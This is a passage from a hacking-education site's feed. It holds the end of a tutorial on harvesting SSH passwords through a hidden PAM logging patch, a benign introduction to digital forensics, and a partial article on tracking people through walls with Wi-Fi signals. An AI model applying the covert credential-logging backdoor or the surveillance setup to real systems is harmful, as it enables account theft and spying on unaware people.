  1135.  
  1136.  
  1137. <p>This ensures that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing. Credentials are silently exfiltrated while legitimate users remain unaware.</p>
  1138.  
  1139.  
  1140.  
  1141. <h2 class="wp-block-heading"><strong>Applying and Testing the Patch</strong></h2>
  1142.  
  1143.  
  1144.  
  1145. <p>For the changes to take effect, restart the SSH service:</p>
  1146.  
  1147.  
  1148.  
  1149. <p><code>target# &gt; service sshd restart</code></p>
  1150.  
  1151.  
  1152.  
  1153. <p>Once restarted, test the patch by logging in with valid credentials.</p>
  1154.  
  1155.  
  1156.  
  1157. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="698" height="122" src="https://hackers-arise.com/wp-content/uploads/2025/09/6-testing-ssh-auth-after-the-patch.webp" alt="testing the PAM patch" class="wp-image-17999" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/6-testing-ssh-auth-after-the-patch.webp 698w, https://hackers-arise.com/wp-content/uploads/2025/09/6-testing-ssh-auth-after-the-patch-300x52.webp 300w" sizes="(max-width: 698px) 100vw, 698px" /></figure>
  1158.  
  1159.  
  1160.  
  1161. <p>Afterwards, check the log file:</p>
  1162.  
  1163.  
  1164.  
  1165. <p><code>target# &gt; cat /var/log/.authc.log</code></p>
  1166.  
  1167.  
  1168.  
  1169. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="833" height="157" src="https://hackers-arise.com/wp-content/uploads/2025/09/7-the-patch-is-valid.webp" alt="the PAM patch is valid and working" class="wp-image-18000" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/7-the-patch-is-valid.webp 833w, https://hackers-arise.com/wp-content/uploads/2025/09/7-the-patch-is-valid-300x57.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/7-the-patch-is-valid-768x145.webp 768w" sizes="(max-width: 833px) 100vw, 833px" /></figure>
  1170.  
  1171.  
  1172.  
  1173. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="788" height="159" src="https://hackers-arise.com/wp-content/uploads/2025/09/8-more-creds-accumulated-in-a-few-days-after-the-patch.webp" alt="more credentials were obtained with the PAM patch" class="wp-image-18001" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/8-more-creds-accumulated-in-a-few-days-after-the-patch.webp 788w, https://hackers-arise.com/wp-content/uploads/2025/09/8-more-creds-accumulated-in-a-few-days-after-the-patch-300x61.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/8-more-creds-accumulated-in-a-few-days-after-the-patch-768x155.webp 768w" sizes="(max-width: 788px) 100vw, 788px" /></figure>
  1174.  
  1175.  
  1176.  
  1177. <p>Each entry should display the captured user, the password they entered, the remote host they connected from, and the date of the attempt. Over time, this log will accumulate valuable credentials from legitimate user sessions, giving you a resource for lateral movement.</p>
  1178.  
  1179.  
  1180.  
  1181. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  1182.  
  1183.  
  1184.  
  1185. <p>There is a great method of harvesting SSH credentials on Linux by modifying the Pluggable Authentication Module (PAM). After identifying potential lateral movement targets via <code>known_hosts</code>, SSH is reconfigured to allow password authentication. A custom logging script is created to capture usernames, passwords, and remote sources, and is then integrated into PAM by editing <code>/etc/pam.d/sshd</code>. With the patch in place, every login attempt is silently recorded to a hidden log file. Restarting SSH activates the change, and future connections yield a steady stream of usable credentials.&nbsp;</p><p>The post <a href="https://hackers-arise.com/password-cracking-stealing-ssh-credentials-with-pam/">Password Cracking: Stealing SSH Credentials with PAM</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1186. </item>
  1187. <item>
  1188. <title>Digital Forensics: Getting Started Becoming a Forensics Investigator</title>
  1189. <link>https://hackers-arise.com/digital-forensics-getting-started-becoming-a-forensics-investigator/</link>
  1190. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  1191. <pubDate>Wed, 10 Sep 2025 13:50:08 +0000</pubDate>
  1192. <category><![CDATA[Defensive Security]]></category>
  1193. <category><![CDATA[Digital Forensics]]></category>
  1194. <category><![CDATA[Mobile Forensics]]></category>
  1195. <category><![CDATA[Uncategorized]]></category>
  1196. <category><![CDATA[Cybercrime]]></category>
  1197. <category><![CDATA[Evidence Collection]]></category>
  1198. <category><![CDATA[Forensic Imaging]]></category>
  1199. <category><![CDATA[incident response]]></category>
  1200. <category><![CDATA[Investigation Tools]]></category>
  1201. <category><![CDATA[Memory Forensics]]></category>
  1202. <category><![CDATA[Network Forensics]]></category>
  1203. <category><![CDATA[Timeline Analysis]]></category>
  1204. <guid isPermaLink="false">https://hackers-arise.com/?p=18007</guid>
  1205.  
  1206. <description><![CDATA[<p>This guide maps out the investigative process and introduces the essential utilities every analyst should know.</p>
  1207. <p>The post <a href="https://hackers-arise.com/digital-forensics-getting-started-becoming-a-forensics-investigator/">Digital Forensics: Getting Started Becoming a Forensics Investigator</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1208. <content:encoded><![CDATA[<p>Welcome, aspiring forensic investigators! </p>
  1209.  
  1210.  
  1211.  
  1212. <p></p>
  1213.  
  1214.  
  1215.  
  1216. <p>Welcome to the new Digital Forensics module. In this guide we introduce digital forensics, outline the main phases of a forensic investigation, and survey a large set of tools you’ll commonly meet. Think of this as a practical map: the article briefly covers the process and analysis stages and points to tools you can use depending on your objectives. Later in the course we’ll dig deeper into Windows and Linux artifacts and show how to apply the most common tools to real cases.</p>
  1217.  
  1218.  
  1219.  
  1220. <p>Digital forensics is growing fast because cyber incidents are happening every day. Budget limits, legacy systems, and weak segmentation leave many organizations exposed. AI and automation make attacks easier and fasterю. Human mistakes, especially successful phishing, remain a top cause of breaches. When prevention fails, digital forensics helps answer what happened, how it happened, and what to do next. It’s a mix of technical skills, careful procedure, and clear reporting.</p>
  1221.  
  1222.  
  1223.  
  1224. <h2 class="wp-block-heading"><strong>What is Digital Forensics?</strong></h2>
  1225.  
  1226.  
  1227.  
  1228. <p>Digital forensics (also called computer forensics or cyber forensics) is the discipline of collecting, preserving, analyzing, and presenting digital evidence from computers, servers, mobile devices, networks, and storage media. It grew from early law-enforcement needs in the 1980s into a mature field in the 1990s and beyond, as cybercrime increased and investigators developed repeatable methods.</p>
  1229.  
  1230.  
  1231.  
  1232. <p>Digital forensics supports incident response, fraud investigations, data recovery, and threat hunting. The goals are to reconstruct timelines, identify malicious activity, measure impact, and produce evidence suitable for legal, regulatory, or incident-response use.</p>
  1233.  
  1234.  
  1235.  
  1236. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="640" height="427" src="https://hackers-arise.com/wp-content/uploads/2025/09/1-digital-forensics-lab.webp" alt="digital forensics specialists analyzing the hardware" class="wp-image-18008" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/1-digital-forensics-lab.webp 640w, https://hackers-arise.com/wp-content/uploads/2025/09/1-digital-forensics-lab-300x200.webp 300w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
  1237.  
  1238.  
  1239.  
  1240. <h2 class="wp-block-heading"><strong>Main Fields Inside Digital Forensics</strong></h2>
  1241.  
  1242.  
  1243.  
  1244. <p>Digital forensics branches into several focused areas. Each requires different tools and approaches.</p>
  1245.  
  1246.  
  1247.  
  1248. <h3 class="wp-block-heading"><strong>Computer forensics</strong></h3>
  1249.  
  1250.  
  1251.  
  1252. <p>Focuses on artifacts from a single machine: RAM, disk images, the Windows registry, system logs, file metadata, deleted files, and local application data. The aim is to recreate what a user or a piece of malware did on that host.</p>
  1253.  
  1254.  
  1255.  
  1256. <h3 class="wp-block-heading"><strong>Network forensics</strong></h3>
  1257.  
  1258.  
  1259.  
  1260. <p>Covers packet captures, flow records, and logs from routers, firewalls and proxies. Analysts use network data to trace communications, find command-and-control channels, spot data exfiltration, and follow attacker movement across infrastructure.</p>
  1261.  
  1262.  
  1263.  
  1264. <h3 class="wp-block-heading"><strong>Forensic data analysis</strong></h3>
  1265.  
  1266.  
  1267.  
  1268. <p>Deals with parsing and interpreting files, database contents, and binary data left after an intrusion. It includes reverse engineering malware fragments, reconstructing corrupted files, and extracting meaningful information from raw or partially damaged data.</p>
  1269.  
  1270.  
  1271.  
  1272. <h3 class="wp-block-heading"><strong>Mobile device forensics</strong></h3>
  1273.  
  1274.  
  1275.  
  1276. <p>Targets smartphones and tablets. Android and iOS store data differently from desktops, so investigators use specialized methods to extract messages, app data, calling records, and geolocation artifacts.</p>
  1277.  
  1278.  
  1279.  
  1280. <h3 class="wp-block-heading"><strong>Hardware forensics</strong></h3>
  1281.  
  1282.  
  1283.  
  1284. <p>The most specialized area: low-level analysis of firmware, microcontrollers, and embedded devices. This work may involve extracting firmware from chips, analyzing device internals, or studying custom hardware behavior (for example, the firmware of an IoT transmitter or a skimmer installed on an ATM).</p>
  1285.  
  1286.  
  1287.  
  1288. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="640" height="427" src="https://hackers-arise.com/wp-content/uploads/2025/09/2-hardware-forensic-analysis.webp" alt="hardware forensics" class="wp-image-18009" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/2-hardware-forensic-analysis.webp 640w, https://hackers-arise.com/wp-content/uploads/2025/09/2-hardware-forensic-analysis-300x200.webp 300w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
  1289.  
  1290.  
  1291.  
  1292. <h2 class="wp-block-heading"><strong>Methods and approaches</strong></h2>
  1293.  
  1294.  
  1295.  
  1296. <p>Digital forensics work generally falls into two modes: static (offline) analysis and live (in-place) analysis. Both are valid. The choice depends on goals and constraints.</p>
  1297.  
  1298.  
  1299.  
  1300. <p><strong>Static analysis</strong></p>
  1301.  
  1302.  
  1303.  
  1304. <p>The traditional workflow. Investigators take the device offline, build a bit-for-bit forensic image, and analyze copies in a lab. Static analysis is ideal for deep disk work: carving deleted files, examining file system metadata, and creating a defensible chain of custody for evidence.</p>
  1305.  
  1306.  
  1307.  
  1308. <p><strong>Live analysis</strong></p>
  1309.  
  1310.  
  1311.  
  1312. <p>Used when volatile data matters or when the system cannot be taken offline. Live techniques capture RAM contents, running processes, open network connections, and credentials kept in memory. Live collection gives access to transient artifacts that vanish on reboot, but it requires careful documentation to avoid altering evidence.</p>
  1313.  
  1314.  
  1315.  
  1316. <p><strong>Live vs Static</strong></p>
  1317.  
  1318.  
  1319.  
  1320. <p>Static work preserves the exact state of disk data and is easier to reproduce. Live work captures volatile evidence that static imaging cannot. Modern incidents often need both. They start with live capture to preserve RAM and active state, then create static images for deeper analysis.</p>
  1321.  
  1322.  
  1323.  
  1324. <h2 class="wp-block-heading"><strong>The forensic proces</strong>s</h2>
  1325.  
  1326.  
  1327.  
  1328. <p><strong>1. Create a forensic image</strong></p>
  1329.  
  1330.  
  1331.  
  1332. <p>Make a bit-for-bit copy of storage or memory. Work on the copy. Never change the original.</p>
  1333.  
  1334.  
  1335.  
  1336. <p><strong>2. Document the system’s state</strong></p>
  1337.  
  1338.  
  1339.  
  1340. <p>Record running processes, network connections, logged-in users, system time, and any other volatile details before power-down.</p>
  1341.  
  1342.  
  1343.  
  1344. <p><strong>3. Identify and preserve evidence</strong></p>
  1345.  
  1346.  
  1347.  
  1348. <p>Locate files, logs, configurations, memory dumps, and external devices. Preserve them with hashes and a clear chain of custody.</p>
  1349.  
  1350.  
  1351.  
  1352. <p><strong>4. Analyze the evidence</strong></p>
  1353.  
  1354.  
  1355.  
  1356. <p>Use appropriate tools to inspect logs, binaries, file systems, and memory. Look for malware artifacts, unauthorized accounts, and modified system components.</p>
  1357.  
  1358.  
  1359.  
  1360. <p><strong>5. Timeline analysis</strong></p>
  1361.  
  1362.  
  1363.  
  1364. <p>Correlate timestamps across artifacts to reconstruct the sequence of events and show how an incident unfolded.</p>
  1365.  
  1366.  
  1367.  
  1368. <p><strong>6. Identify indicators of compromise (IOCs)</strong></p>
  1369.  
  1370.  
  1371.  
  1372. <p>Extract file hashes, IP addresses, domains, registry keys, and behavioral signatures that indicate malicious activity.</p>
  1373.  
  1374.  
  1375.  
  1376. <p><strong>7. Report and document</strong></p>
  1377.  
  1378.  
  1379.  
  1380. <p>Produce a clear, well-documented report describing methods, findings, conclusions, and recommended next steps.</p>
  1381.  
  1382.  
  1383.  
  1384. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="640" height="435" src="https://hackers-arise.com/wp-content/uploads/2025/09/2-mobile-forensics.webp" alt="mobile forensics" class="wp-image-18010" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/2-mobile-forensics.webp 640w, https://hackers-arise.com/wp-content/uploads/2025/09/2-mobile-forensics-300x204.webp 300w" sizes="(max-width: 640px) 100vw, 640px" /></figure>
  1385.  
  1386.  
  1387.  
  1388. <h2 class="wp-block-heading"><strong>Toolset Overview</strong></h2>
  1389.  
  1390.  
  1391.  
  1392. <p>Below is a compact reference to common tools grouped by purpose. Later modules will show hands-on use for Windows and Linux artifacts.</p>
  1393.  
  1394.  
  1395.  
  1396. <h3 class="wp-block-heading"><strong>Imaging and acquisition</strong></h3>
  1397.  
  1398.  
  1399.  
  1400. <p><strong>FTK Imager</strong> — Windows tool for creating forensic copies and basic preview.</p>
  1401.  
  1402.  
  1403.  
  1404. <p><strong>dc3dd</strong> / <strong>dcfldd</strong> — Forensic versions of dd with improved logging and hashing.</p>
  1405.  
  1406.  
  1407.  
  1408. <p><strong>Guymager</strong> — Fast, reliable imaging with a GUI.</p>
  1409.  
  1410.  
  1411.  
  1412. <p><strong>DumpIt </strong>/ <strong>Magnet RAM Capture</strong> — Simple, effective RAM capture utilities.</p>
  1413.  
  1414.  
  1415.  
  1416. <p><strong>Live RAM Capturer</strong> — For memory collection from live systems.</p>
  1417.  
  1418.  
  1419.  
  1420. <h3 class="wp-block-heading"><strong>Image mounting and processing</strong></h3>
  1421.  
  1422.  
  1423.  
  1424. <p><strong>Imagemounter</strong> — Mount images for read-only analysis.</p>
  1425.  
  1426.  
  1427.  
  1428. <p><strong>Libewf</strong> — Support for EnCase Evidence File format.</p>
  1429.  
  1430.  
  1431.  
  1432. <p><strong>Xmount</strong> — Convert and remap image formats for flexible analysis.</p>
  1433.  
  1434.  
  1435.  
  1436. <h3 class="wp-block-heading"><strong>File and binary analysis</strong></h3>
  1437.  
  1438.  
  1439.  
  1440. <p><strong>HxD</strong> / <strong>wxHexEditor</strong> / <strong>Synalyze It!</strong> — Hex editors for direct file and binary inspection.</p>
  1441.  
  1442.  
  1443.  
  1444. <p><strong>Bstrings</strong> — Search binary images with regex for hidden strings.</p>
  1445.  
  1446.  
  1447.  
  1448. <p><strong>Bulk_extractor</strong> — Extract emails, credit card numbers, and artifacts from disk images.</p>
  1449.  
  1450.  
  1451.  
  1452. <p><strong>PhotoRec</strong> — File carving and deleted file recovery.</p>
  1453.  
  1454.  
  1455.  
  1456. <h3 class="wp-block-heading"><strong>Memory and process analysis</strong></h3>
  1457.  
  1458.  
  1459.  
  1460. <p><strong>Volatility</strong> / <strong>Rekall</strong> — Industry standard frameworks for memory analysis and artifact extraction.</p>
  1461.  
  1462.  
  1463.  
  1464. <p><strong>Memoryze</strong> — RAM analysis, including swap and process memory.</p>
  1465.  
  1466.  
  1467.  
  1468. <p><strong>KeeFarce</strong> — Extracts KeePass data from memory snapshots.</p>
  1469.  
  1470.  
  1471.  
  1472. <h3 class="wp-block-heading"><strong>Network and browser forensics</strong></h3>
  1473.  
  1474.  
  1475.  
  1476. <p><strong>Wireshark</strong> — Packet capture and deep protocol analysis.</p>
  1477.  
  1478.  
  1479.  
  1480. <p><strong>SiLK</strong> — Scalable flow collection and analysis for large networks.</p>
  1481.  
  1482.  
  1483.  
  1484. <p><strong>NetworkMiner</strong> — Passive network forensics that rebuilds sessions and files.</p>
  1485.  
  1486.  
  1487.  
  1488. <p><strong>Hindsight</strong> / <strong>chrome-url-dumper</strong> — Recover browser history and user activity from Chrome artifacts.</p>
  1489.  
  1490.  
  1491.  
  1492. <h3 class="wp-block-heading"><strong>Mail and messaging analysis</strong></h3>
  1493.  
  1494.  
  1495.  
  1496. <p><strong>PST/OST</strong>/<strong>EDB Viewers</strong> — Tools to inspect Exchange and Outlook data files offline.</p>
  1497.  
  1498.  
  1499.  
  1500. <p><strong>Mail Viewer</strong> — Supports multiple mailstore formats for quick inspection.</p>
  1501.  
  1502.  
  1503.  
  1504. <h3 class="wp-block-heading"><strong>Disk and filesystem utilities</strong></h3>
  1505.  
  1506.  
  1507.  
  1508. <p><strong>The Sleuth Kit</strong> / <strong>Autopsy</strong> — Open-source forensic platform for disk analysis and timeline creation.</p>
  1509.  
  1510.  
  1511.  
  1512. <p><strong>Digital Forensics Framework</strong> — Modular platform for file and system analysis.</p>
  1513.  
  1514.  
  1515.  
  1516. <h3 class="wp-block-heading"><strong>Specialized extraction and searching</strong></h3>
  1517.  
  1518.  
  1519.  
  1520. <p><strong>FastIR Collector</strong> — Collects live forensic artifacts from Windows hosts quickly.</p>
  1521.  
  1522.  
  1523.  
  1524. <p><strong>FRED</strong> — Registry analysis and parsing.</p>
  1525.  
  1526.  
  1527.  
  1528. <p><strong>NTFS USN Journal Parser</strong> / <strong>RecuperaBit</strong> — Recover change history and reconstruct deleted/changed files.</p>
  1529.  
  1530.  
  1531.  
  1532. <h3 class="wp-block-heading"><strong>Evidence processing and reporting</strong></h3>
  1533.  
  1534.  
  1535.  
  1536. <p><strong>EnCase</strong> — Commercial suite for imaging, analysis, and court-ready reporting.</p>
  1537.  
  1538.  
  1539.  
  1540. <p><strong>Oxygen Forensic Detective</strong> — Strong platform for mobile device extraction and cloud artifact analysis.</p>
  1541.  
  1542.  
  1543.  
  1544. <h2 class="wp-block-heading"><strong>Practical notes and best practices</strong></h2>
  1545.  
  1546.  
  1547.  
  1548. <p>a) Preserve original evidence. Always work with verified copies and record cryptographic hashes.</p>
  1549.  
  1550.  
  1551.  
  1552. <p>b) Capture volatile data early. RAM and live state can vanish on reboot. Prioritize their collection when necessary.</p>
  1553.  
  1554.  
  1555.  
  1556. <p>c) Keep clear records. Document every action, including tools and versions, timestamps, and the chain of custody.</p>
  1557.  
  1558.  
  1559.  
  1560. <p>d) Match tools to goals. Use lightweight tools for quick triage and more powerful suites for deep dives.</p>
  1561.  
  1562.  
  1563.  
  1564. <p>e) Plan for scalability. Network forensics can generate huge data sets. Prepare storage and filtering strategies ahead of time.</p>
  1565.  
  1566.  
  1567.  
  1568. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  1569.  
  1570.  
  1571.  
  1572. <p>We introduced digital forensics and laid out the main concepts you’ll need to start practical work: the different forensic disciplines, the distinction between live and static analysis, a concise process checklist, and a broad toolset organized by purpose. Digital forensics sits at the intersection of incident response, threat intelligence, and legal evidence collection. The methods and tools presented here form a foundation. In later lessons we’ll work through hands-on examples for Windows and Linux artifacts, demonstrate key tools in action, and show how to build timelines and extract actionable IOCs.&nbsp;</p>
  1573.  
  1574.  
  1575.  
  1576. <p>Keep in mind that good forensic work is disciplined, repeatable, and well documented. That’s what makes the evidence useful and the investigation reliable.</p>
  1577.  
  1578.  
  1579.  
  1580. <p>If you need forensic assistance, we offer professional services to help investigate and mitigate incidents. Additionally, we provide classes on digital forensics for those looking to expand their skills and understanding in this field.</p><p>The post <a href="https://hackers-arise.com/digital-forensics-getting-started-becoming-a-forensics-investigator/">Digital Forensics: Getting Started Becoming a Forensics Investigator</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1581. </item>
  1582. <item>
  1583. <title>Can Hackers &#8220;See&#8221; Inside Your Home Using Wi-Fi to Track Your Location and Movement?</title>
  1584. <link>https://hackers-arise.com/can-hackers-see-inside-your-home-using-wi-fi-to-tr/</link>
  1585. <comments>https://hackers-arise.com/can-hackers-see-inside-your-home-using-wi-fi-to-tr/#respond</comments>
  1586. <dc:creator><![CDATA[OTW]]></dc:creator>
  1587. <pubDate>Wed, 10 Sep 2025 04:11:00 +0000</pubDate>
  1588. <category><![CDATA[Bluetooth Hacking]]></category>
  1589. <category><![CDATA[Cyber Threat Intelligence]]></category>
  1590. <category><![CDATA[Cybersecurity Tools]]></category>
  1591. <category><![CDATA[Cyberwar]]></category>
  1592. <category><![CDATA[Cyberwarrior]]></category>
  1593. <category><![CDATA[Hardware Hacking]]></category>
  1594. <category><![CDATA[IoT Hacking]]></category>
  1595. <category><![CDATA[Mobile Hacking]]></category>
  1596. <category><![CDATA[Wi-Fi Hacking]]></category>
  1597. <guid isPermaLink="false">https://hackers-arise.com/?p=15849</guid>
  1598.  
  1599. <description><![CDATA[<p>Welcome back, my aspiring cyberwarriors! The quick answer is &#8220;Yes!&#8221;. It might seem like science fiction, but now we have the capability to &#8220;see&#8221; through walls and track the location and movement of targets. This is thanks to new technological developments in both artificial intelligence and SDR. Remember, Wi-Fi is simply sending and receiving radio [&#8230;]</p>
  1600. <p>The post <a href="https://hackers-arise.com/can-hackers-see-inside-your-home-using-wi-fi-to-tr/">Can Hackers “See” Inside Your Home Using Wi-Fi to Track Your Location and Movement?</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1601. <content:encoded><![CDATA[<h1 class="wp-block-heading has-medium-font-size" id="how-wi-fi-sensing-sees-through-walls-an-occupythew">Welcome back, my aspiring cyberwarriors!</h1>
  1602.  
  1603.  
  1604.  
  1605. <p class="has-medium-font-size">The quick answer is &#8220;Yes!&#8221;.</p>
  1606.  
  1607.  
  1608.  
  1609. <p class="has-medium-font-size">It might seem like science fiction, but now we have the capability to &#8220;see&#8221; through walls and track the location and movement of targets. This is thanks to new technological developments in both artificial intelligence and SDR. Remember, Wi-Fi is simply sending and receiving radio signals at 2.45Ghz. If an object is in the way of the signal, it bounces, bends and refracts the signal. This perturbing of the signal can be very complex but advances in machine learning (ML) and AI now make it possible to to collect and track those changes in the signal and determine if it&#8217;s a human, dog, or an intruder. This is the beginning of something exciting, and quite possibly, malicious.</p>
  1610.  
  1611.  
  1612.  
  1613. <p class="has-medium-font-size">This is one more reason why we say that SDR (Signals Intelligence) for Hackers is the leading edge of cybersecurity!</p>
  1614.  
  1615.  
  1616.  
  1617. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="733" height="412" src="https://hackers-arise.com/wp-content/uploads/2025/06/wifi-see-through-walls.png" alt="" class="wp-image-15959" srcset="https://hackers-arise.com/wp-content/uploads/2025/06/wifi-see-through-walls.png 733w, https://hackers-arise.com/wp-content/uploads/2025/06/wifi-see-through-walls-300x169.png 300w" sizes="(max-width: 733px) 100vw, 733px" /></figure>
  1618.  
  1619.  
  1620.  
  1621. <h2 class="wp-block-heading has-large-font-size">The Science Behind Wi-Fi Sensing</h2>
  1622.  
  1623.  
  1624.  
  1625. <h2 class="wp-block-heading has-medium-font-size">How It Works</h2>
  1626.  
  1627.  
  1628.  
  1629. <ul class="wp-block-list">
  1630. <li><strong>Wi-Fi signals</strong> are electromagnetic waves that can pass through common wall materials like drywall, wood, and even concrete (with some signal loss).</li>
  1631.  
  1632.  
  1633.  
  1634. <li>When these signals encounter objects, especially humans, they <strong>reflect, scatter, and diffract</strong>.</li>
  1635.  
  1636.  
  1637.  
  1638. <li>By analyzing how Wi-Fi signals bounce back, it’s possible to detect the presence, movement, and even the shape of people behind walls.</li>
  1639. </ul>
  1640.  
  1641.  
  1642.  
  1643. <h2 class="wp-block-heading has-medium-font-size">Key Concepts</h2>
  1644.  
  1645.  
  1646.  
  1647. <ul class="wp-block-list">
  1648. <li><strong>Phase and Amplitude:</strong> The changes in phase and amplitude of the Wi-Fi signal carry information about what the signal has encountered.</li>
  1649.  
  1650.  
  1651.  
  1652. <li><strong>Multipath Propagation:</strong> Wi-Fi signals reflect off multiple surfaces, producing a complex pattern that can be decoded to reveal movement and location.</li>
  1653.  
  1654.  
  1655.  
  1656. <li><strong>DensePose &amp; Neural Networks:</strong> Modern systems use AI to map Wi-Fi signal changes to specific points on the human body, reconstructing pose and movement in 3D.</li>
  1657. </ul>
  1658.  
  1659.  
  1660.  
  1661. <h2 class="wp-block-heading has-medium-font-size">The Hardware</h2>
  1662.  
  1663.  
  1664.  
  1665. <p>You don’t need military-grade gear. Here’s what’s commonly used:</p>
  1666.  
  1667.  
  1668.  
  1669. <ul class="wp-block-list">
  1670. <li><strong>Standard Wi-Fi Routers:</strong> Most experiments use commodity routers with multiple antennas.</li>
  1671.  
  1672.  
  1673.  
  1674. <li><strong>Software-Defined Radios (SDRs):</strong> For more control and precision, SDRs like the HackRF or USRP can be used (see our tutorials and trainings on SDR for Hackers)</li>
  1675.  
  1676.  
  1677.  
  1678. <li><strong>Multiple Antennas:</strong> At least two, but three or more improves accuracy and resolution.</li>
  1679. </ul>
  1680.  
  1681.  
  1682.  
  1683. <figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="592" height="579" src="https://hackers-arise.com/wp-content/uploads/2025/07/HackRF.png" alt="" class="wp-image-15967" style="width:392px;height:auto" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/HackRF.png 592w, https://hackers-arise.com/wp-content/uploads/2025/07/HackRF-300x293.png 300w" sizes="(max-width: 592px) 100vw, 592px" /></figure>
  1684.  
  1685.  
  1686.  
  1687. <h2 class="wp-block-heading has-medium-font-size"><strong>The Software</strong></h2>
  1688.  
  1689.  
  1690.  
  1691. <h2 class="wp-block-heading has-medium-font-size">Data Collection</h2>
  1692.  
  1693.  
  1694.  
  1695. <ul class="wp-block-list">
  1696. <li><strong>Transmit &amp; Receive:</strong> One device sends out Wi-Fi signals, another listens for reflections.</li>
  1697.  
  1698.  
  1699.  
  1700. <li><strong>Channel State Information (CSI):</strong> This is the raw data showing how signals have changed after bouncing off objects.</li>
  1701. </ul>
  1702.  
  1703.  
  1704.  
  1705. <h2 class="wp-block-heading has-medium-font-size">Processing</h2>
  1706.  
  1707.  
  1708.  
  1709. <ul class="wp-block-list">
  1710. <li><strong>Signal Processing:</strong> Algorithms filter out static objects (walls, furniture) and focus on moving targets (people).</li>
  1711.  
  1712.  
  1713.  
  1714. <li><strong>Neural Networks:</strong> AI models such as <a href="http://densepose.org/" title="">DensePose</a> map signal changes to body coordinates, reconstructing a “pose” for each detected person</li>
  1715. </ul>
  1716.  
  1717.  
  1718.  
  1719. <figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="1280" height="720" src="https://hackers-arise.com/wp-content/uploads/2025/07/densepose-2.jpg" alt="" class="wp-image-15969" style="width:700px;height:auto" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/densepose-2.jpg 1280w, https://hackers-arise.com/wp-content/uploads/2025/07/densepose-2-300x169.jpg 300w, https://hackers-arise.com/wp-content/uploads/2025/07/densepose-2-1024x576.jpg 1024w, https://hackers-arise.com/wp-content/uploads/2025/07/densepose-2-768x432.jpg 768w" sizes="(max-width: 1280px) 100vw, 1280px" /></figure>
  1720.  
  1721.  
  1722.  
  1723. <h2 class="wp-block-heading has-large-font-size">Wi-Fi Sensing in Action</h2>
  1724.  
  1725.  
  1726.  
  1727. <h2 class="wp-block-heading">Step 1: Set Up Your Equipment</h2>
  1728.  
  1729.  
  1730.  
  1731. <ul class="wp-block-list">
  1732. <li>Place a Wi-Fi transmitter and receiver on opposite sides of the wall.</li>
  1733.  
  1734.  
  1735.  
  1736. <li>Ensure both devices can log CSI data. Some routers can be flashed with custom firmware (e.g., <a href="https://hackers-arise.com/introduction-to-the-iot-embedded-linux-the-openwrt-project/" target="_blank" rel="noopener ugc" title="OpenWRT">OpenWRT</a>) to access this.</li>
  1737. </ul>
  1738.  
  1739.  
  1740.  
  1741. <figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="597" height="290" src="https://hackers-arise.com/wp-content/uploads/2025/07/openwrt-splash.png" alt="" class="wp-image-15970" style="width:634px;height:auto" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/openwrt-splash.png 597w, https://hackers-arise.com/wp-content/uploads/2025/07/openwrt-splash-300x146.png 300w" sizes="(max-width: 597px) 100vw, 597px" /></figure>
  1742.  
  1743.  
  1744.  
  1745. <h2 class="wp-block-heading">Step 2: Collect CSI Data</h2>
  1746.  
  1747.  
  1748.  
  1749. <ul class="wp-block-list">
  1750. <li>Use tools like <strong><a href="https://github.com/xieyaxiongfly/Atheros-CSI-Tool" title="">Atheros CSI Tool</a></strong> or <strong>Intel 5300 CSI Tool</strong> to capture the raw signal data.</li>
  1751.  
  1752.  
  1753.  
  1754. <li>Move around on the far side of the wall to generate reflections.</li>
  1755. </ul>
  1756.  
  1757.  
  1758.  
  1759. <h2 class="wp-block-heading">Step 3: Process the Data</h2>
  1760.  
  1761.  
  1762.  
  1763. <ul class="wp-block-list">
  1764. <li>Use Python libraries or MATLAB scripts to process the CSI data.</li>
  1765.  
  1766.  
  1767.  
  1768. <li>Apply filters to remove noise and static reflections.</li>
  1769.  
  1770.  
  1771.  
  1772. <li>Feed the cleaned data into a pre-trained neural network (like <a href="http://densepose.org/" title="">DensePose</a>) to reconstruct human poses</li>
  1773. </ul>
  1774.  
  1775.  
  1776.  
  1777. <h2 class="wp-block-heading">Step 4: Visualize the Results</h2>
  1778.  
  1779.  
  1780.  
  1781. <ul class="wp-block-list">
  1782. <li>The output can be a 2D or 3D “stick figure” or heatmap showing where people are and how they’re moving.</li>
  1783.  
  1784.  
  1785.  
  1786. <li>Some setups can even distinguish between individuals based on movement patterns.</li>
  1787. </ul>
  1788.  
  1789.  
  1790.  
  1791. <h2 class="wp-block-heading has-large-font-size">Limitations and Considerations</h2>
  1792.  
  1793.  
  1794.  
  1795. <ul class="wp-block-list">
  1796. <li><strong>Wall Material:</strong> Thicker or metal-reinforced walls reduce accuracy.</li>
  1797.  
  1798.  
  1799.  
